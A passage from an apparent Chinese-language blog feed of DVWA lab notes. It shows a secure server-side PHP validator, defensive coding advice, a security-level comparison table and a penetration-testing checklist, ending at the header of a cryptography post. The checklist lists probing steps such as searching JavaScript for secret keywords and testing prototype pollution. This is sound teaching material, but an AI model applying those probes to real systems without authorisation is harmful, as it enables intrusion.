class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// api/validate.php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Impossible: 所有验证在服务器端 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 启动Session</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护1：验证CSRF Token ★★★</span></span><br><span class="line"><span class="comment">// checkToken() - 验证CSRF token</span></span><br><span class="line"><span class="comment">// 防止跨站请求伪造</span></span><br><span class="line"><span class="variable">$csrfToken</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_X_CSRF_TOKEN&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">hash_equals</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;csrf_token&#x27;</span>], <span class="variable">$csrfToken</span>)) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">403</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([<span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>, <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;Invalid CSRF token&#x27;</span>]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护2：限流 ★★★</span></span><br><span class="line"><span class="comment">// 防止暴力破解</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">checkRateLimit</span>(<span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>])) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">429</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([<span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>, <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;Too many requests&#x27;</span>]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取POST数据</span></span><br><span class="line"><span class="variable">$input</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;php://input&#x27;</span>);</span><br><span class="line"><span class="variable">$data</span> = <span class="title function_ invoke__">json_decode</span>(<span class="variable">$input</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证输入</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$data</span>[<span class="string">&#x27;phrase&#x27;</span>])) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">400</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([<span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>, <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;Missing phrase&#x27;</span>]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$phrase</span> = <span class="title function_ invoke__">trim</span>(<span class="variable">$data</span>[<span class="string">&#x27;phrase&#x27;</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护3：在服务器端存储和验证token ★★★</span></span><br><span class="line"><span class="comment">// 方法1：从数据库读取</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$pdo</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&quot;SELECT token FROM challenges WHERE id = ?&quot;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>([<span class="number">1</span>]);</span><br><span class="line"><span class="variable">$expectedToken</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">fetchColumn</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方法2：从配置文件读取</span></span><br><span class="line"><span class="comment">// $expectedToken = getenv(&#x27;CHALLENGE_TOKEN&#x27;);</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 方法3：动态生成（基于用户Session）</span></span><br><span class="line"><span class="comment">// $expectedToken = generateTokenForUser($_SESSION[&#x27;user_id&#x27;]);</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 验证 ★★★</span></span><br><span class="line"><span class="comment">// hash_equals() - 时间安全的字符串比较</span></span><br><span class="line"><span class="comment">// 防止时序攻击</span></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">hash_equals</span>(<span class="variable">$expectedToken</span>, <span class="variable">$phrase</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 记录成功的尝试 ★★★</span></span><br><span class="line">    <span class="title function_ invoke__">logAttempt</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;user_id&#x27;</span>], <span class="variable">$phrase</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 返回成功</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">        <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;Correct! Well done!&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 记录失败的尝试 ★★★</span></span><br><span class="line">    <span class="title function_ invoke__">logAttempt</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;user_id&#x27;</span>], <span class="variable">$phrase</span>, <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 返回失败（不透露具体原因）</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;Invalid phrase&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 辅助函数：限流检查 ★★★</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkRateLimit</span>(<span class="params"><span class="variable">$ip</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 使用Redis或数据库实现</span></span><br><span class="line">    <span class="comment">// 例如：每分钟最多5次请求</span></span><br><span class="line">    <span class="variable">$redis</span> = <span class="keyword">new</span> <span class="title class_">Redis</span>();</span><br><span class="line">    <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">connect</span>(<span class="string">&#x27;127.0.0.1&#x27;</span>, <span class="number">6379</span>);</span><br><span class="line"></span><br><span class="line">    <span class="variable">$key</span> = <span class="string">&quot;rate_limit:<span class="subst">$ip</span>&quot;</span>;</span><br><span class="line">    <span class="variable">$requests</span> = <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">incr</span>(<span class="variable">$key</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$requests</span> == <span class="number">1</span>) &#123;</span><br><span class="line">        <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">expire</span>(<span class="variable">$key</span>, <span class="number">60</span>); <span class="comment">// 60秒过期</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$requests</span> &lt;= <span class="number">5</span>; <span class="comment">// 每分钟最多5次</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 辅助函数：记录尝试 ★★★</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">logAttempt</span>(<span class="params"><span class="variable">$userId</span>, <span class="variable">$phrase</span>, <span class="variable">$success</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$pdo</span>;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$stmt</span> = <span class="variable">$pdo</span>-&gt;<span class="title function_ invoke__">prepare</span>(</span><br><span class="line">        <span class="string">&quot;INSERT INTO attempt_logs (user_id, phrase, success, ip_address, timestamp)</span></span><br><span class="line"><span class="string">         VALUES (?, ?, ?, ?, NOW())&quot;</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>([</span><br><span class="line">        <span class="variable">$userId</span>,</span><br><span class="line">        <span class="variable">$phrase</span>,</span><br><span class="line">        <span class="variable">$success</span> ? <span class="number">1</span> : <span class="number">0</span>,</span><br><span class="line">        <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]</span><br><span class="line">    ]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>服务器端验证</strong> - 所有业务逻辑在服务器</li><li><strong>CSRF Protection</strong> - Token验证</li><li><strong>限流机制</strong> - 防止暴力破解</li><li><strong>日志记录</strong> - 记录所有尝试</li><li><strong>时序安全比较</strong> - hash_equals()防时序攻击</li><li><strong>无敏感信息泄露</strong> - 客户端完全不包含秘密</li></ol><p><strong>架构对比：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Low<span class="regexp">/Medium/</span>High (不安全):</span><br><span class="line">用户输入 → JavaScript验证 → 显示结果</span><br><span class="line">         ↑</span><br><span class="line">    包含token、密钥、逻辑</span><br><span class="line"></span><br><span class="line">Impossible (安全):</span><br><span class="line">用户输入 → 发送到服务器 → 服务器验证 → 返回结果 → 显示</span><br><span class="line">                        ↑</span><br><span class="line">                   所有敏感信息和逻辑</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都失败：</strong></p><figure class="highlight gauss"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">攻击<span class="number">1</span>：查看源代码</span><br><span class="line">结果：没有任何敏感信息</span><br><span class="line"></span><br><span class="line">攻击<span class="number">2</span>：使用DevTools调试</span><br><span class="line">结果：只能看到UI逻辑，没有业务逻辑</span><br><span class="line"></span><br><span class="line">攻击<span class="number">3</span>：直接调用函数</span><br><span class="line">结果：没有验证函数可调用</span><br><span class="line"></span><br><span class="line">攻击<span class="number">4</span>：修改JavaScript</span><br><span class="line">结果：服务器端验证不受影响</span><br><span class="line"></span><br><span class="line">攻击<span class="number">5</span>：暴力破解</span><br><span class="line">结果：被限流机制阻止</span><br><span class="line"></span><br><span class="line">攻击<span class="number">6</span>：重放攻击</span><br><span class="line">结果：CSRF <span class="built_in">token</span>验证失败</span><br></pre></td></tr></table></figure><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="架构层面"><a href="#架构层面" class="headerlink" title="架构层面"></a>架构层面</h3><h4 id="1-永远不信任客户端"><a href="#1-永远不信任客户端" class="headerlink" title="1. 永远不信任客户端"></a>1. 永远不信任客户端</h4><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">❌ 错误模式：</span><br><span class="line">客户端验证 → 通过 → 执行操作</span><br><span class="line"></span><br><span class="line">✅ 正确模式：</span><br><span class="line">客户端验证（仅用于用户体验）</span><br><span class="line">服务器验证 → 通过 → 执行操作</span><br></pre></td></tr></table></figure><h4 id="2-敏感数据和逻辑在服务器端"><a href="#2-敏感数据和逻辑在服务器端" class="headerlink" title="2. 敏感数据和逻辑在服务器端"></a>2. 敏感数据和逻辑在服务器端</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ❌ 错误：在JavaScript中</span></span><br><span class="line"><span class="keyword">var</span> apiKey = <span class="string">&quot;sk-1234567890&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> adminToken = <span class="string">&quot;admin_xyz&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ✅ 正确：在服务器端</span></span><br><span class="line"><span class="comment">// config.php</span></span><br><span class="line"><span class="keyword">return</span> [</span><br><span class="line">    <span class="string">&#x27;api_key&#x27;</span> =&gt; <span class="title function_ invoke__">getenv</span>(<span class="string">&#x27;API_KEY&#x27;</span>),</span><br><span class="line">    <span class="string">&#x27;admin_token&#x27;</span> =&gt; <span class="title function_ invoke__">getenv</span>(<span class="string">&#x27;ADMIN_TOKEN&#x27;</span>)</span><br><span class="line">];</span><br></pre></td></tr></table></figure><h4 id="3-实施适当的限流"><a href="#3-实施适当的限流" class="headerlink" title="3. 实施适当的限流"></a>3. 实施适当的限流</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用中间件限流</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">RateLimitMiddleware</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params"><span class="variable">$request</span>, <span class="variable">$next</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$key</span> = <span class="string">&#x27;rate_limit:&#x27;</span> . <span class="variable">$request</span>-&gt;<span class="title function_ invoke__">ip</span>();</span><br><span class="line">        <span class="variable">$limit</span> = <span class="number">10</span>; <span class="comment">// 每分钟10次</span></span><br><span class="line">        <span class="variable">$window</span> = <span class="number">60</span>; <span class="comment">// 60秒</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="title class_">Cache</span>::<span class="title function_ invoke__">increment</span>(<span class="variable">$key</span>) &gt; <span class="variable">$limit</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_ invoke__">response</span>()-&gt;<span class="title function_ invoke__">json</span>([<span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Too many requests&#x27;</span>], <span class="number">429</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="title class_">Cache</span>::<span class="title function_ invoke__">put</span>(<span class="variable">$key</span>, <span class="number">1</span>, <span class="variable">$window</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$next</span>(<span class="variable">$request</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-避免在JavaScript中存储敏感信息"><a href="#1-避免在JavaScript中存储敏感信息" class="headerlink" title="1. 避免在JavaScript中存储敏感信息"></a>1. 避免在JavaScript中存储敏感信息</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ❌ 错误</span></span><br><span class="line"><span class="keyword">var</span> password = <span class="string">&quot;admin123&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> secretKey = <span class="string">&quot;sk_live_12345&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ✅ 正确</span></span><br><span class="line"><span class="comment">// 从服务器API获取（需要认证）</span></span><br><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;/api/config&#x27;</span>, &#123;</span><br><span class="line">    <span class="attr">headers</span>: &#123;</span><br><span class="line">        <span class="string">&#x27;Authorization&#x27;</span>: <span class="string">&#x27;Bearer &#x27;</span> + sessionToken</span><br><span class="line">    &#125;</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="function"><span class="params">response</span> =&gt;</span> response.<span class="title function_">json</span>())</span><br><span class="line">.<span class="title function_">then</span>(<span class="function"><span class="params">config</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="comment">// 使用配置，但不永久存储</span></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h4 id="2-客户端验证仅用于用户体验"><a href="#2-客户端验证仅用于用户体验" class="headerlink" title="2. 客户端验证仅用于用户体验"></a>2. 客户端验证仅用于用户体验</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ✅ 客户端验证（提升用户体验）</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">validateEmail</span>(<span class="params">email</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (!email.<span class="title function_">includes</span>(<span class="string">&#x27;@&#x27;</span>)) &#123;</span><br><span class="line">        <span class="title function_">alert</span>(<span class="string">&#x27;Invalid email format&#x27;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 但必须在服务器端再次验证</span></span><br><span class="line"><span class="comment">// PHP后端</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_">filter_var</span>($_POST[<span class="string">&#x27;email&#x27;</span>], <span class="variable constant_">FILTER_VALIDATE_EMAIL</span>)) &#123;</span><br><span class="line">    <span class="title function_">die</span>(<span class="string">&#x27;Invalid email&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-使用环境变量存储秘密"><a href="#3-使用环境变量存储秘密" class="headerlink" title="3. 使用环境变量存储秘密"></a>3. 使用环境变量存储秘密</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// .env文件</span></span><br><span class="line">API_KEY=sk_live_1234567890</span><br><span class="line">DB_PASSWORD=secure_password_123</span><br><span class="line">JWT_SECRET=random_secret_key</span><br><span class="line"></span><br><span class="line"><span class="comment">// 代码中使用</span></span><br><span class="line"><span class="variable">$apiKey</span> = <span class="title function_ invoke__">getenv</span>(<span class="string">&#x27;API_KEY&#x27;</span>);</span><br><span class="line"><span class="variable">$dbPassword</span> = <span class="title function_ invoke__">getenv</span>(<span class="string">&#x27;DB_PASSWORD&#x27;</span>);</span><br></pre></td></tr></table></figure><h4 id="4-实施内容安全策略（CSP）"><a href="#4-实施内容安全策略（CSP）" class="headerlink" title="4. 实施内容安全策略（CSP）"></a>4. 实施内容安全策略（CSP）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 防止内联JavaScript执行</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: script-src &#x27;nonce-<span class="subst">&#123;$nonce&#125;</span>&#x27; &#x27;strict-dynamic&#x27;;&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="监控层面"><a href="#监控层面" class="headerlink" title="监控层面"></a>监控层面</h3><h4 id="1-日志记录"><a href="#1-日志记录" class="headerlink" title="1. 日志记录"></a>1. 日志记录</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 记录所有敏感操作</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">logSecurityEvent</span>(<span class="params"><span class="variable">$event</span>, <span class="variable">$data</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$log</span> = [</span><br><span class="line">        <span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>),</span><br><span class="line">        <span class="string">&#x27;event&#x27;</span> =&gt; <span class="variable">$event</span>,</span><br><span class="line">        <span class="string">&#x27;data&#x27;</span> =&gt; <span class="variable">$data</span>,</span><br><span class="line">        <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>],</span><br><span class="line">        <span class="string">&#x27;user_agent&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_USER_AGENT&#x27;</span>]</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>(</span><br><span class="line">        <span class="string">&#x27;/var/log/security.log&#x27;</span>,</span><br><span class="line">        <span class="title function_ invoke__">json_encode</span>(<span class="variable">$log</span>) . <span class="string">&quot;\n&quot;</span>,</span><br><span class="line">        FILE_APPEND</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-异常检测"><a href="#2-异常检测" class="headerlink" title="2. 异常检测"></a>2. 异常检测</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 检测异常行为</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">detectAnomalies</span>(<span class="params"><span class="variable">$userId</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 短时间内大量失败尝试</span></span><br><span class="line">    <span class="variable">$failedAttempts</span> = <span class="title function_ invoke__">countFailedAttempts</span>(<span class="variable">$userId</span>, <span class="number">60</span>); <span class="comment">// 过去60秒</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$failedAttempts</span> &gt; <span class="number">5</span>) &#123;</span><br><span class="line">        <span class="title function_ invoke__">alertSecurity</span>(<span class="string">&quot;Possible brute force attack on user <span class="subst">$userId</span>&quot;</span>);</span><br><span class="line">        <span class="title function_ invoke__">lockAccount</span>(<span class="variable">$userId</span>, <span class="number">300</span>); <span class="comment">// 锁定5分钟</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>Token存储</td><td>明文JavaScript</td><td>Base64&#x2F;简单混淆</td><td>复杂加密</td><td>服务器端</td></tr><tr><td>验证位置</td><td>客户端</td><td>客户端</td><td>客户端</td><td>服务器端</td></tr><tr><td>敏感信息</td><td>完全暴露</td><td>编码暴露</td><td>加密暴露</td><td>不暴露</td></tr><tr><td>限流</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>CSRF防护</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>日志记录</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr></tbody></table><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>渗透测试检查清单：</strong></p><ol><li>✅ 查看所有JavaScript文件</li><li>✅ 搜索敏感关键词：token, password, key, secret, admin</li><li>✅ 使用DevTools调试</li><li>✅ 尝试禁用JavaScript</li><li>✅ 检查API请求和响应</li><li>✅ 测试限流机制</li><li>✅ 查找JSONP端点</li><li>✅ 测试原型链污染</li></ol><p><strong>防御检查清单：</strong></p><ol><li>✅ 所有敏感数据在服务器端</li><li>✅ 客户端验证仅用于UX</li><li>✅ 实施服务器端验证</li><li>✅ 使用CSRF Token</li><li>✅ 实施限流机制</li><li>✅ 记录安全事件</li><li>✅ 使用环境变量</li><li>✅ 实施CSP策略</li></ol><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不泄露发现的敏感信息</li><li>学习是为了构建安全的应用</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - Cryptography (密码学) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/Cryptography_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/Cryptography_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.093Z</published>
    <updated>2025-11-20T15:29:45.905Z</updated>
    
